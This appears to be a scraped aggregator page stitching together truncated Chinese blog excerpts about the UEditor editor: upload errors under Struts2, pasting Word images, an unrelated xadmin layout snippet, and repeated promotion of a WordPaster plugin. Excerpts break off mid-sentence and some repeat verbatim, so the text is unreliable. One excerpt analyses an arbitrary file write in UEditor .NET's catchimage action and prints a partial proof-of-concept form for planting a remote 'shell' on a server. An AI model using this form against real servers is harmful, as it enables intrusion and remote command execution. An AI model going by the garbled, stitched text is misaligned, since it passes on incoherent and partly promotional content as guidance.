Ueditor

在struts2应用中使用ueditor富文本编辑器上传图片或者附件时，即使配置好了上传路径信息，也会出现"未找到上传文件"的错误提示，出先该问题的原因是：在配置struts过滤器，过滤路径设置/*方式时，由于struts2框架默认使用apache的Commons FileUpload组件和内建的FileUploadInterceptor拦截器实现上传，会将request文件域封装到action中一个File类型的属性中，并删除request中的文件域，因此会上传文件失败。 在这里先说下ueditor1.3.6 jsp版文件上传的相关配置。 Ueditor的目录结构 首页我们要在ueditor.config.js文件中配置 ueditor的基本相对路径 接下来看看图片上传的配置 我们可以看出图片上传是通过ueditor根目录下jsp目录下的imageUp.jap完成的。savePath为文件保存目录列表 会在下图中用到 对应的会在jsp目录下创建upload目录用于保存上传的图片 最后我们打开imageUp.jsp页面，会看到该页面用到Uploader.java类，所以我们需要类路径下创建一个ueditor包并将 Uploader.java类拷贝进去 完成以上配置，当我们上传文件时，就会出现“未找到上传文件”的提示。 解决方案： 1.更改struts配置/*为*.xx的方式。（

官网地址http://ueditor.baidu.com Git 地址 https://github.com/fex-team/ueditor 参考博客地址 http://blog.ncmem.com/wordpress/2019/08/12/ueditor-word%E5%9B%BE%E7%89%87%E8%BD%AC%E5%AD%98%E4%BA%A4%E4%BA%92/ 1.4.2 之后官方并没有做功能的改动，1.4.2在word复制这块没有bug，其他版本会出现手动无法转存的情况 本文使用的后台是Java。前端为Jsp（前端都一样，后台如果语言不通得自己做 Base64编码解码） 因为公司业务需要支持IE8 ，网上其实有很多富文本框，效果都很好。 例如www.wangEditor.com 但试了一圈都不支持IE8 。 所以回到Ueditor，由于官方没有维护，新的neuditor 也不知道什么时候能支持word自动转存，只能自己想办法。 如果没有必要，不建议使用ueditor。我也是没有办法。 改动过后的插件只适合IE8。 这里要说明的一点是百度官方的编辑器不支持word图片批量转存，粘贴word后需要手动选择图片再进行上传一次操作。网上找到的大部分的示例都是这个操作。如果需要自动批量上传word图片的话可以使用WordPaster这个控件。 1.IE 设置

word 图片转存，是指UEditor为了解决用户从word中复制了一篇图文混排的文章粘贴到编辑器之后，word文章中的图片数据无法显示在编辑器中，也无法提交到服务器上的问题而开发的一个操作简便的图片转存方案。 <b> 复制word图文混排内容到UEditor，图片不能正常显示，会将图片转换成一个带链接的占位图，如图 并且图片地址也是本地的路径，如果直接发布内容后，其它的用户将看不到图片（也就是不能正常访问图片，因为图片的路径不正确） 解决办法： 拷贝图片链接-》点击上传图片-》选择网络图片-》粘贴链接-》上传，编辑器将自动完成对应占位图的替换</b> 实现后的效果 图片上传成功后，图片的地址已经更新为服务器的图片地址。这样发布内容后其它的用户就能够正常的访问图片了。 能够批量上传word中的图片 可以一键粘贴word中的图片和文字，并自动将图片上传到服务器中。 3 、处理ueditor提供的uploadimage方法 客户已经使用半年，没有问题，非常有用，非常方便的功能 详细资料可以参考这篇文章：： http://blog.ncmem.com/wordpress/2019/08/07/ueditor 复制word 图片粘贴上传-2/ 来源： https://www.cnblogs.com/songsu/p/11951803.html

0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器，具有轻量、可定制、用户体验优秀等特点 ，被广大WEB应用程序所使用；本次爆出的高危漏洞属于.NET版本，其它的版本暂时不受影响。漏洞成因是在抓取远程数据源的时候未对文件后缀名做验证导致任意文件写入漏洞，黑客利用此漏洞可以在服务器上执行任意指令，综合评级高危。由于时间仓促，本文分析不到位的地方还请多多谅解。 0x02 漏洞利用 笔者本地测试的编辑器是百度官方下载最新的版本1.4.3.3 http://ueditor.baidu.com/website/download.html 本地构造一个html，因为不是上传漏洞所以enctype 不需要指定为multipart/form-data ， 之前见到有poc指定了这个值。完整的poc如下 1 <form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> 2 <p>shell addr: <input type="text" name="source[]" /></p > 3 <input type="submit" value="Submit" /> 4 <

修改编辑页面布局 参考xadmin/plugins/auth.py:def get_form_layout(self) 模型管理器中添加： def get_form_layout(self): if self.org_obj: # 判断是否是编辑页面 self.form_layout = ( Main( Fieldset("讲师信息", # 块名称 'teacher','course_org', css_class='unsort no_title' ), Fieldset("基本信息", 'name', 'desc', Row('learn_times', 'degree'), # 两个字段在一行 Row('category', 'tag'), 'youneed_know', 'teacher_tell', 'detail', ), ), # 在页面右侧显示 Side( Fieldset("访问信息", 'fav_nums', 'click_nums', 'students','add_time' ), ), Side( Fieldset("选择信息", 'is_banner', 'is_classics' ), ) ) return super(NewCourseAdmin, self).get_form_layout() 权限管理：批量管理用户权限----->组

Chrome+IE 默认支持粘贴剪切板中的图片，但是我要发布的文章存在word里面，图片多达数十张，我总不能一张一张复制吧 ？ Chrome高版本提供了可以将单张图片转换在BASE64字符串的功能。但是无法处理多张图片。而且转换成BASE64后是作为内容一起提交给服务器，不能够将图片单独保存在另外一台服务器中。如果需要单独保存则需要自已进行处理。比较麻烦。 我希望打开Word或者WPS文档后，复制内容然后直接粘贴到富文本编辑器中，编辑器自动将图片批量上传到服务器中，无论文档中有多少张图片，编辑器都全部自动上传，不需要再手动一张张处理。同时能够将图片上传到我指定的接口中，服务器需要将图片单独保存在存储服务器中，比如可能是云存储，或者是分布式存储，最后直接发布内容。 感觉这个似乎很困难，因为Ueditor本身不支持，粘贴后直接就是空白，这里面一定有原因。 好，开始尝试UMeditor，Chrome只能获得本地路径，无法读取文件。 https://ueditor.baidu.com/website/umeditor.html （有兴趣可以试试） 难道就这么失败了？ 不 ，但是我 意外发现 UMeditor 竟然 支持 粘贴word中的多张图片（仅支持IE11，不支持IE10以下版本、以及Chrome等） 切换HTML，会看到你的图片被组织成base64 nice ，机会来了

图片的复制无非有两种方法，一种是图片直接上传到服务器，另外一种转换成二进制流的base64码 目前限chrome浏览器使用 首先以um-editor的二进制流保存为例： 打开umeditor.js，找到UM.plugins['autoupload']，然后找到autoUploadHandler方法，注释掉其中的代码。 加入下面的代码： // 判断剪贴板的内容是否包含文本 // 首先解释一下为什么要判断文本是不是为空 // 在ctrl+c word中的文字或者图片之后会返回1种(image/png)或者4种type(text/plain,text/html,text/rtf,image/png)类型的对象 // 为了兼容4种格式的情况，做了如下的判断 // 如下代码：e.originalEvent.clipboardData.items获得剪贴板的内容 // 当粘贴了文本之后text是不为空的，同时也会返回当前文本的图片类型 // 如果有文字的话不做任何的处理，如果只粘贴图片的话文本一定是空的，包括复制的桌面图片或者截图的图片 var text = e.originalEvent.clipboardData.getData("text"); if(text == ""){ var items=e.originalEvent.clipboardData.items; for (var

我司需要做一个需求 , 就是使用富文本编辑器时 , 不要以上传附件的形式上传图片 , 而是以复制粘贴的形式上传图片 . 在网上找了一下 , 有一个插件支持这个功能。 WordPaster 安装方式如下 : 直接使用WordPaster.exe安装即可 然后在 http://blog.ncmem.com/wordpress/2019/08/12/ueditor批量上传word图片/ 里面有详细的教程 效果： Word 文档中的图片全部自动上传到服务器端，不再需要一张张手动转存操作，大幅度提高操作效率： 自动替换编辑器中的图片地址： 所有图片在上传成功后图片地址都会被自动替换成服务器的图片地址。 在上传多张图片时非常方便，也非常高效。 图片保存路径，图片上传成功后已经自动保存到服务器端。 来源： https://www.cnblogs.com/songsu/p/11918861.html

官网地址http://ueditor.baidu.com Git 地址 https://github.com/fex-team/ueditor 参考博客地址 http://blog.ncmem.com/wordpress/2019/08/12/ueditor-word%E5%9B%BE%E7%89%87%E8%BD%AC%E5%AD%98%E4%BA%A4%E4%BA%92/ 1.4.2 之后官方并没有做功能的改动，1.4.2在word复制这块没有bug，其他版本会出现手动无法转存的情况 本文使用的后台是Java。前端为Jsp（前端都一样，后台如果语言不通得自己做 Base64编码解码） 因为公司业务需要支持IE8 ，网上其实有很多富文本框，效果都很好。 例如www.wangEditor.com 但试了一圈都不支持IE8 。 所以回到Ueditor，由于官方没有维护，新的neuditor 也不知道什么时候能支持word自动转存，只能自己想办法。 如果没有必要，不建议使用ueditor。我也是没有办法。 改动过后的插件只适合IE8。 这里要说明的一点是百度官方的编辑器不支持word图片批量转存，粘贴word后需要手动选择图片再进行上传一次操作。网上找到的大部分的示例都是这个操作。如果需要自动批量上传word图片的话可以使用WordPaster这个控件。 1.IE 设置

图片的复制无非有两种方法，一种是图片直接上传到服务器，另外一种转换成二进制流的base64码 目前限chrome浏览器使用 首先以um-editor的二进制流保存为例： 打开umeditor.js，找到UM.plugins['autoupload']，然后找到autoUploadHandler方法，注释掉其中的代码。 加入下面的代码： // 判断剪贴板的内容是否包含文本 // 首先解释一下为什么要判断文本是不是为空 // 在ctrl+c word中的文字或者图片之后会返回1种(image/png)或者4种type(text/plain,text/html,text/rtf,image/png)类型的对象 // 为了兼容4种格式的情况，做了如下的判断 // 如下代码：e.originalEvent.clipboardData.items获得剪贴板的内容 // 当粘贴了文本之后text是不为空的，同时也会返回当前文本的图片类型 // 如果有文字的话不做任何的处理，如果只粘贴图片的话文本一定是空的，包括复制的桌面图片或者截图的图片 var text = e.originalEvent.clipboardData.getData("text"); if(text == ""){ var items=e.originalEvent.clipboardData.items; for (var